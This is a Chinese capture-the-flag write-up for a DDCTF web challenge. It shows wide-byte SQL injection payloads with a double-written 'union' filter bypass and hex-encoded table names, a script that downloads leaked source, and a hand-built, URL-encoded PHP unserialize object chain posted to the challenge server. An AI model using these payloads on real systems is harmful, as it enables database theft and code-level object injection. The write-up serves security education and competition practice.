注入的奥妙

题目:

本题flag不需要包含DDCTF{},为[0-9a-f]+ http://116.85.48.105:5033/4eaee5db-2304-4d6d-aa9c-962051d99a41/well/getmessage/1

解答:

按照题目要求,这题应该是个注入题,毫无疑问。

查看源码,发现给了big5的编码表,此时猜测可以通过宽字节进行注入。

1餐' and 1=1%23

orderby,发现有三个字段,尝试构造联合查询语句,发现union会被直接删除。此时双写绕过即可。

此时查询数据库:

1餐' uniunionon select SCHEMA_NAME,2,3 from information_schema.SCHEMATA %23
复制

然后继续查询表名:
[

然后继续查询表名:

1餐' uniunionon select TABLE_NAME,2,3 from information_schema.tables where table_schema=sqli %23

此时发生了一件尴尬的事情。我们无法继续构造单双引号,这样数据库会报以下错误。

此时祭出hex大法。数据库会直接将0x开头的进行转码解析。

1餐' uniunionon select TABLE_NAME,2,3 from information_schema.tables where table_schema=0x73716c69 %23

此时成功的爆出来了三个表

message,route_rules,users

然后就没啥好说的了。挨个查着玩就可以了,基本同上。然后查字段啥的。

查路由的时候,有点小坑,不知道后端怎么解析的,会将一列数据解析到多列,此时用mysql的to_base64()函数即可。

通过路由信息,我们可以发现存在static/bootstrap/css/backup.css源码泄露。

通过以下三行脚本即可保存该文件。

import requestsf=open('a.zip','wb')f.write(requests.get('http://116.85.48.105:5033/static/bootstrap/css/backup.css').content)

接下来就是对PHP代码的审计。

首先,分析路由。我们从数据表内知道了有以下几条规则

get/:u/well/getmessage/:s Well#getmessage
get/:u/justtry/self/:s JustTry#self
post*/:u/justtry/try JustTry#try

首先第一条,就是咱刚刚实现注入的那一个。不用多看,逻辑差不多清楚。

第二,三条,调用的都是justtry类下的某个方法。所以可以跟进去,重点分析下这个函数。

此时看见了 unserialize ,倍感亲切,这不就是反序列化么。

此时就需要考虑反序列化了。他后面限制了几个类,此时我们可以一一打开分析。

test类,顾名思义,就是一个测试用的。

此时我们发现他的析构函数中,有一条特殊的句子。跟进去之后发现,他会将falg打印出来。

仔细分析源码后发现,这个test类通过调用Flag类来获取flag,然而Flag类又需要调用SQL类来进行数据库查询。

所以,这个反序列化是个相当大的工程。自己手写是无望了。

首先尝试了一下,自己写三个类的调用。。。然而失败了。

最后复现源码,并在try方法打印序列化对象后。(uuid是你的url那串,uuid类下正则可以看出来。)

发现,他是有一个命名空间的要求。序列化后语句如下

O:17:"Index\Helper\Test":2:{s:9:"user_uuid";s:36:"4eaee5db-2304-4d6d-aa9c-962051d99a41";s:2:"fl";O:17:"Index\Helper\Flag":1:{s:3:"sql";O:16:"Index\Helper\SQL":2:{s:3:"dbc";N;s:3:"pdo";N;}}}

最终payload如下

url:http://116.85.48.105:5033/4eaee5db-2304-4d6d-aa9c-962051d99a41/justtry/try/postdata:serialize=%4f%3a%31%37%3a%22%49%6e%64%65%78%5c%48%65%6c%70%65%72%5c%54%65%73%74%22%3a%32%3a%7b%73%3a%39%3a%22%75%73%65%72%5f%75%75%69%64%22%3b%73%3a%33%36%3a%22%34%65%61%65%65%35%64%62%2d%32%33%30%34%2d%34%64%36%64%2d%61%61%39%63%2d%39%36%32%30%35%31%64%39%39%61%34%31%22%3b%73%3a%32%3a%22%66%6c%22%3b%4f%3a%31%37%3a%22%49%6e%64%65%78%5c%48%65%6c%70%65%72%5c%46%6c%61%67%22%3a%31%3a%7b%73%3a%33%3a%22%73%71%6c%22%3b%4f%3a%31%36%3a%22%49%6e%64%65%78%5c%48%65%6c%70%65%72%5c%53%51%4c%22%3a%32%3a%7b%73%3a%33%3a%22%64%62%63%22%3b%4e%3b%73%3a%33%3a%22%70%64%6f%22%3b%4e%3b%7d%7d%7d

本文章首发在 网安wangan.com 网站上。

上一篇 下一篇
讨论数量: 0
只看当前版本


暂无话题~